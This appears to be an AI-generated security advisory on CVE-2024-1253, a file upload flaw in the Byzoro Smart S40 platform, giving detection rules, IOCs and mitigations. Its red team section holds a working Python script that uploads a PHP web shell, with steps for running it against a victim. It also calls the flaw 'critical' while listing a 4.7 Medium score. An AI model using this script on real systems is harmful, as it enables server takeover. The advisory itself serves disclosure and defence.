CVE-2024-1253

Executive Summary

CVE-2024-1253 is a critical unrestricted file upload vulnerability in the Byzoro Smart S40 Management Platform (up to version 20240126). The flaw resides in the /useratte/web.php file within the Import Handler component. By manipulating the file_upload argument, an unauthenticated remote attacker can upload arbitrary files, potentially leading to remote code execution (RCE) on the server. The exploit has been publicly disclosed, and no patch is available from the vendor. This vulnerability poses a significant risk to exposed instances, especially in OT/IoT environments where the Smart S40 platform is used for network management.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: High (due to public exploit, no patch, and potential for RCE escalation).

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434) in the Byzoro Smart S40 Management Platform. The /useratte/web.php endpoint handles file imports without proper validation of file type, content, or size. An attacker can send a crafted HTTP POST request with a malicious file (e.g., a PHP web shell) in the file_upload parameter. The server stores the uploaded file in a web-accessible directory, allowing the attacker to execute arbitrary commands by accessing the uploaded file.

Key Technical Details:

• Endpoint: /useratte/web.php
• Parameter: file_upload
• Method: POST (multipart/form-data)
• File Storage: Likely in /uploads/ or similar directory relative to the web root.
• Authentication: None required.
• Impact: Full server compromise if the uploaded file is executed (e.g., PHP, ASP, JSP).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
// /useratte/web.php
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file_upload"]["name"]);
move_uploaded_file($_FILES["file_upload"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
?>

Patched Code (Hypothetical):

<?php
// /useratte/web.php
$allowed_types = ['text/csv', 'application/json'];
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file_upload"]["name"]);
$file_type = mime_content_type($_FILES["file_upload"]["tmp_name"]);

if (!in_array($file_type, $allowed_types)) {
    die("Invalid file type.");
}
if (move_uploaded_file($_FILES["file_upload"]["tmp_name"], $target_file)) {
    echo "File uploaded successfully.";
} else {
    echo "Upload failed.";
}
?>

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3.x with requests library.
• Target IP with Smart S40 Management Platform exposed.

Exploit Script:

import requests

target_url = "http://<TARGET_IP>/useratte/web.php"
payload = {
    "file_upload": ("shell.php", "<?php system($_GET['cmd']); ?>", "application/x-php")
}

response = requests.post(target_url, files=payload)
if "successfully" in response.text:
    print(f"Shell uploaded: {target_url}/uploads/shell.php?cmd=id")
else:
    print("Upload failed")

Usage:

1. Replace <TARGET_IP> with the victim's IP.
2. Run the script.
3. Access the uploaded shell via http://<TARGET_IP>/uploads/shell.php?cmd=id.

Blue Team

Detection Steps:

1. Monitor HTTP POST requests to /useratte/web.php with Content-Type: multipart/form-data.
2. Alert on file uploads with extensions .php, .asp, .jsp, .war, .exe, .sh.
3. Check for unexpected files in the uploads/ directory.
4. Review web server logs for suspicious file access patterns (e.g., cmd= parameter).

Indicators of Compromise (IOCs)

• File Paths: /useratte/web.php, /uploads/shell.php, /uploads/*.php
• Network Traffic: POST requests to /useratte/web.php with multipart data.
• Log Entries: POST /useratte/web.php HTTP/1.1 with 200 OK response.
• File Hashes (Example):
  • shell.php: e99a18c428cb38d5f260853678922e03 (MD5)
• User-Agent: Any (no specific pattern).

Detection Engineering

YARA Rule

rule CVE_2024_1253_WebShell {
    meta:
        description = "Detects web shells uploaded via CVE-2024-1253"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1253"
    strings:
        $php_shell = "<?php system("
        $php_exec = "exec("
        $php_shell_exec = "shell_exec("
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-1253 Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects exploitation attempts of CVE-2024-1253 via file upload to /useratte/web.php
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/useratte/web.php'
    condition: selection
falsepositives:
    - Legitimate file imports (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1253 Unrestricted File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/useratte/web.php"; http_uri; content:"multipart/form-data"; http_header; pcre:"/filename=\".*\.(php|asp|jsp|war|exe|sh)\"/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices from the internet if possible.
2. Implement WAF rules to block POST requests to /useratte/web.php with file extensions .php, .asp, .jsp, .war, .exe, .sh.
3. Monitor logs for exploitation attempts.

Long-Term Fixes:

• Since the vendor is unresponsive, consider replacing the Smart S40 platform with a supported alternative.
• Apply virtual patching via a web application firewall (WAF) or reverse proxy.
• Restrict file uploads to only trusted IPs using network ACLs.

Valters IT Signature:

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.